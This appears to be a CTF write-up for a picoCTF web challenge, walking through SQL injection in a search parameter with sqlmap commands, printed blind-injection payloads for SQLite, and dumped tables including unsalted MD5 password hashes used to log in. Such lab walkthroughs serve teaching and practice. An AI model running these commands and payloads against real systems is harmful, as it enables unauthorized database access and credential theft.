This is a writeup for Sql Map1, a medium-difficulty web exploitation challenge from the picoCTF 2026 event. As the name suggests, it centers on a SQL injection bug in a search feature. We’ll exploit it with SQLMap to dump the database, recover a user’s credentials, and log in to grab the flag.
Exploring the web app
Launching the challenge gives us a URL to the instance. Visiting it lands us on an authentication page with both register and login functionality.

I registered an account and logged in. After login, the app redirects to /vuln.php, which holds a search form that lets the user search for flags.

I started by poking at the search form. Searching the word flag redirects us to:
/vuln.php?q=flag&PHPSESSID=562b88b5057cdefb9defc2001055b089
The URL carries two parameters: our search query q, and a PHPSESSID. The page returns a list of results that are shaped like flags but aren’t the real ones.
### Results
- **flag1**: academy{n0T_F0uNd_s3cr3T_K3y_34rd76s1}
- **flag2**: academy{n0T_F0uNd_s3cr3T_k3Y_c5d243edq}
- **flag3**: academy{i5_tH15_s3cr3T_k3Y_5tbax3er}
- **flag4**: academy{tH15_lS_n0T_s3cr3T_k3Y_vbr1qa43}
- **flag6**: academy{tH15_lS_n0T_f!@G_5rwdf731q}
- **flag7**: academy{tH15_lS_n0T_f!@G_5rwdf731q}

Testing the search request with SQLMap
The challenge title points us at SQL injection, so the next step is to throw the search request at SQLMap. I saved the request to request.txt and targeted the q parameter:
sqlmap -r request.txt -p q --batch --dbs

GET parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
---
Parameter: q (GET)
Type: boolean-based blind
Title: SQLite AND boolean-based blind - WHERE, HAVING, GROUP BY or HAVING clause (JSON)
Payload: q=flag%' AND CASE WHEN 4722=4722 THEN 4722 ELSE JSON(CHAR(70,122,90,84)) END AND 'UEwf%'='UEwf&PHPSESSID=4fe8d743cfc2ef2abc95013e440f878b
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: q=flag%' AND 3169=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND 'DlgU%'='DlgU&PHPSESSID=4fe8d743cfc2ef2abc95013e440f878b
---
[20:47:54] [INFO] the back-end DBMS is SQLite
web server operating system: Linux Debian
web application technology: PHP 8.2.33, PHP, Apache 2.4.68
back-end DBMS: SQLite
[20:47:54] [WARNING] on SQLite it is not possible to enumerate databases (use only '--tables')
Two useful facts fall out of this:
- The
qparameter is vulnerable to SQL injection (boolean-based and time-based blind). - The back-end is SQLite. Because of that, we can’t enumerate databases, so we go straight to tables.
So let’s list the tables:
sqlmap -r request.txt -p q --batch --tables

[20:51:16] [INFO] retrieved: users
[20:51:24] [INFO] retrieved: sqlite_sequence
[20:51:46] [INFO] retrieved: flags
<current>
[3 tables]
+-----------------+
| flags |
| sqlite_sequence |
| users |
+-----------------+
Three tables, and flags and users are the ones worth reading. Since the injection is blind, and therefore slow, I added --threads 10 to speed things up considerably.
sqlmap -r request.txt -p q --batch -T flags --dump --threads 10
Table: flags
[10 entries]
+----+------------+------------------------------------------+
| id | key | value |
+----+------------+------------------------------------------+
| 8 | ctf-player | academy{n0T_F0uNd_s3cr3T_K3y_34rd76s1} |
| 1 | flag1 | academy{n0T_F0uNd_s3cr3T_k3Y_c5d243edq} |
| 2 | flag2 | academy{i5_tH15_s3cr3T_k3Y_5tbax3er} |
| 3 | flag3 | academy{tH15_lS_n0T_s3cr3T_k3Y_vbr1qa43} |
| 4 | flag4 | academy{tH15_lS_n0T_f!@G_5rwdf731q} |
| 6 | flag6 | academy{tH15_lS_n0T_f!@G_5rwdf731q} |
| 7 | flag7 | academy{tH15_lS_n0T_f!@G_5rwdf731q} |
| 10 | malicious | academy{tH15_lS_n0T_f!@G_5rwdf731q} |
| 9 | noaccess | academy{tH15_lS_n0T_f!@G_5rwdf731q} |
| 5 | suspicious | academy{tH15_lS_n0T_f!@G_5rwdf731q} |
+----+------------+------------------------------------------+
The flags table holds nothing new, just the same decoy flags the search feature already showed us. Time to look at users:
sqlmap -r request.txt -p q --batch -T users --dump --threads 10
Table: users
[7 entries]
+----+---------------------------------------------+------------+
| id | password | username |
+----+---------------------------------------------+------------+
| 6 | 7a****************************43 (********) | ctf-player |
| 1 | 83806b490e28a7f8e6662646cbdbff1a | admin |
| 5 | eb1f3ba6901c65d9b2e09a38f560758b | ghost |
| 4 | a669d60c31ad3d05b9e453c8576c7aab | malicious |
| 2 | 8d2379c40704bed972e55680be2355e2 | noaccess |
| 3 | 5a9a79d9fa477ed163b89088681672c9 | suspicious |
| 7 | 5a105e8b9d40e1329780d62ea2265d8a (test1) | test1 |
+----+---------------------------------------------+------------+
Now we’re getting somewhere. The passwords are stored as plain, unsalted MD5 hashes, exactly the legacy hashing the brief hinted at. SQLMap even cracked a couple of them against its built-in dictionary, including the one for ctf-player.
Logging in as the real user
With ctf-player / ******** in hand, I logged in as that account. This time the app redirects to /secret.php, which displays the real flag.
